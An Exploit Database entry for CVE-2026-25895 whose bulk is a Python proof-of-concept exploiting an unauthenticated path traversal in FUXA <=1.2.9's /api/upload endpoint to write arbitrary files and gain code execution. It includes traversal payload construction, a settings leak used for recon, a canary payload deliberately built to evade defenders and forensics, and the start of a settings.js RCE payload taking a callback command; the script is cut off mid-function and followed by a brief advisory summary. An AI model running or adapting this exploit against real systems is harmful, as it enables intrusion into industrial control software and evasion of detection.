This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING FUXA 1.2.9 - RCE EDB-ID: 52568 CVE: 2026-25895 EDB Verified: Author: ANTHONY CIHAN Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-21 Vulnerable App: # Exploit Title: FUXA 1.2.9 - RCE # Date: 4/24/2026 # Exploit Author: Anthony Cihan (Hann1bl3L3ct3r) # Vendor Homepage: https://github.com/frangoteam/FUXA # Version: <= 1.2.9 # Tested on: Ubuntu Server # CVE : CVE-2026-25895 """ CVE-2026-25895 - FUXA Unauthenticated Path Traversal -> Arbitrary File Write -> RCE Affected: FUXA <= 1.2.9 Patched: 1.2.10 Vulnerable endpoint: POST /api/upload (server/api/projects/index.js, ~line 193) Root cause: * The /api/upload route is registered with NO middleware: prjApp.post('/api/upload', function (req, res) { ... }) so it bypasses both `secureFnc` (JWT/API-key) and the admin permission gate that wraps every other endpoint in projects/index.js. * Inside the handler, the JSON-body field `destination` is concatenated into a path with only a leading underscore and no normalization / containment check: let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`); filePath = path.join(destinationDir, fullPath || fileName); fs.writeFileSync(filePath, basedata, encoding); A relative payload of the form `a/../../../../<target>` makes Node's path.resolve() climb out of `appDir` to anywhere the FUXA process can write. * `fullPath`/`fileName` strip `..` sequences, so we control the directory via `destination` and the filename via `file.name`. Exploitation: pre-auth RCE even when `secureEnabled = true`. Authorization: this script is for credentialed penetration tests against systems you are explicitly authorized to assess. Use only inside a defined engagement scope. """ from __future__ import annotations import argparse import base64 import json import posixpath import secrets import sys from typing import Dict, List, Optional, Tuple from urllib.parse import urljoin, urlparse, quote try: import requests except ImportError: sys.stderr.write("[-] Missing dependency: pip install requests\n") sys.exit(2) BANNER = r""" ______ _ ___ __ _______ ___ _ | ____| | | \ \ / / /\ | __ \ \ / / \ | | | |__ | | | |\ V / / \ | |__) \ \ /\ / /| \| | | __| | | | | > < / /\ \ | ___/ \ \/ \/ / | . ` | | | | |__| |/ . \ / ____ \| | \ /\ / | |\ | |_| \____//_/ \_\/_/ \_\_| \/ \/ |_| \_| CVE-2026-25895 :: FUXA <=1.2.9 Unauth Path Traversal -> RCE """ # --- Server response helpers --------------------------------------------------- def _extract_errno(response_text: str) -> Optional[str]: """Parse the server's error JSON body (e.g. {"error":"EACCES","message": "EACCES: permission denied, open '/root/x'"}) and return the errno code. Returns None if the body is not JSON or has no 'error' key. """ if not response_text: return None try: data = json.loads(response_text) except (ValueError, TypeError): return None if isinstance(data, dict): err = data.get("error") if isinstance(err, str): return err return None def _extract_syscall(response_text: str) -> Optional[str]: """Parse the server's error JSON body and return the Node.js syscall that failed (e.g. 'open', 'mkdir', 'write'). The upload handler forwards `err.message`, which for POSIX fs errors is formatted by libuv as: "<CODE>: <reason>, <syscall> '<path>'" So we pull the token between the comma and the quoted path. The syscall lets us distinguish ambiguous errno values. In particular, on EACCES the upload handler conditionally calls fs.mkdirSync(parent, {recursive: true}) before writing — so a non-existent /home/<user>/ gets mkdir-EACCES (can't create under root-owned /home/), while an existing /home/<other>/ (mode 0700) gets open-EACCES on the write itself. Same errno, different meaning. """ if not response_text: return None try: data = json.loads(response_text) except (ValueError, TypeError): return None if not isinstance(data, dict): return None msg = data.get("message") if not isinstance(msg, str): return None # Format: "EACCES: permission denied, mkdir '/home/tony'" # ^^^^^ try: tail = msg.split(",", 1)[1].strip() # "mkdir '/home/tony'" syscall = tail.split(" ", 1)[0].strip() if syscall and syscall.isalpha(): return syscall.lower() except (IndexError, AttributeError): pass return None # --- Low-level upload primitive ------------------------------------------------ class FuxaUploadExploit: """Wraps the vulnerable POST /api/upload endpoint.""" def __init__(self, base_url: str, timeout: int = 15, verify_tls: bool = True, proxy: Optional[str] = None, verbose: bool = True): self.base_url = base_url.rstrip("/") self.timeout = timeout self.verify_tls = verify_tls self.verbose = verbose self.session = requests.Session() self.session.headers.update({ "User-Agent": "Mozilla/5.0 (FUXA-CVE-2026-25895-PoC)", "Content-Type": "application/json", }) if proxy: self.session.proxies = {"http": proxy, "https": proxy} # ---- helpers -------------------------------------------------------------- def _log(self, msg: str) -> None: if self.verbose: print(msg, flush=True) def fingerprint(self) -> Tuple[bool, str]: """GET /api/version returns FUXA's own version string ('1.0.0' for the api wrapper) — used as a pre-flight reachability check. """ url = urljoin(self.base_url + "/", "api/version") try: r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls) except requests.RequestException as e: return False, f"connection error: {e}" if r.status_code != 200: return False, f"unexpected status {r.status_code}" return True, r.text.strip() def fetch_settings(self) -> Tuple[bool, str, Optional[Dict]]: """GET /api/settings returns the full `runtime.settings` object (minus smtp password / secretCode) with NO auth middleware in FUXA <=1.2.9. Primary pre-auth information leak used by --mode recon. """ url = urljoin(self.base_url + "/", "api/settings") try: r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls) except requests.RequestException as e: return False, f"connection error: {e}", None if r.status_code != 200: return False, f"unexpected status {r.status_code}", None try: return True, "ok", r.json() except ValueError: return False, f"non-JSON response (first 200B): {r.text[:200]!r}", None # ---- core exploit --------------------------------------------------------- def upload(self, destination: str, filename: str, content: bytes, file_type: str = "bin") -> requests.Response: """Send the crafted upload that triggers the path-traversal write. Server-side decoding rules (from server/api/projects/index.js): * if file.type === 'svg' -> raw write of file.data (no decoding) * otherwise -> file.data is treated as base64 and written via fs.writeFileSync(..., 'base64') We use base64 by default so we can deliver arbitrary binary content. """ if file_type == "svg": # Raw text passthrough; keep file.type = 'svg' so the server # writes it without base64 decoding. data_field = content.decode("utf-8", errors="replace") else: data_field = base64.b64encode(content).decode("ascii") body = { "resource": { "name": filename, "fullPath": filename, # written into the destination dir verbatim "type": file_type, "data": data_field, }, "destination": destination, } url = urljoin(self.base_url + "/", "api/upload") return self.session.post(url, data=json.dumps(body), timeout=self.timeout, verify=self.verify_tls) def write_arbitrary(self, target_abs_path: str, content: bytes, appdir_depth: int = 10, file_type: str = "bin") -> dict: """High-level: write `content` to any absolute path the FUXA process can reach. We assume FUXA's `runtime.settings.appDir` is the `server/` directory of the install. To climb out of it we prepend a dummy segment + N `..` jumps. `appdir_depth` is intentionally generous; extra `..` components past the filesystem root are no-ops on POSIX. """ # Use posixpath unconditionally — the target is a Linux server, so we # cannot let the host's os.path module rewrite separators on Windows. target_abs_path = posixpath.normpath(target_abs_path.replace("\\", "/")) if not target_abs_path.startswith("/"): raise ValueError("target_abs_path must be absolute (POSIX)") target_dir, target_name = posixpath.split(target_abs_path) # destination becomes: a/..//..//..//..//..//..//..//.. + target_dir # path.resolve(appDir, '_a/..//..//.../target_dir') -> target_dir # The leading 'a' is a throw-away segment that absorbs the '_' prefix. traversal = "a" + ("/.." * appdir_depth) destination = traversal + target_dir # target_dir starts with '/' resp = self.upload(destination=destination, filename=target_name, content=content, file_type=file_type) ok = resp.status_code == 200 return { "status_code": resp.status_code, "response_text": resp.text[:400], "errno": _extract_errno(resp.text), "syscall": _extract_syscall(resp.text), "target": target_abs_path, "wrote_bytes": len(content), "success": ok, } # --- High-level payloads ------------------------------------------------------- def payload_proof(host: str) -> bytes: """Default canary payload. Deliberately bland — no CVE ID, no vendor name, no tool signature — so that the file sitting on the target's filesystem is not a glaring IOC for log-scraping defenders or DFIR. Operators who want an explicit PoC demo payload should use --canary-content to supply their own file. """ _ = host # retained for API compatibility; intentionally unused return b"healthcheck ok\n" def payload_settings_js_rce(callback_cmd: str, real_settings: Optional[Dict] = None) -> bytes: """A drop-in replacement f
A critical unauthenticated path traversal vulnerability (CVE-2026-25895, CVSS 9.8) in FUXA allows remote code execution via a file write primitive in the `/api/upload` endpoint. The flaw affects all FUXA versions prior to 1.2.10, where the `destination` parameter is not properly sanitized, enabling attackers to write arbitrary files outside the intended directory. The issue is resolved in version 1.2.10.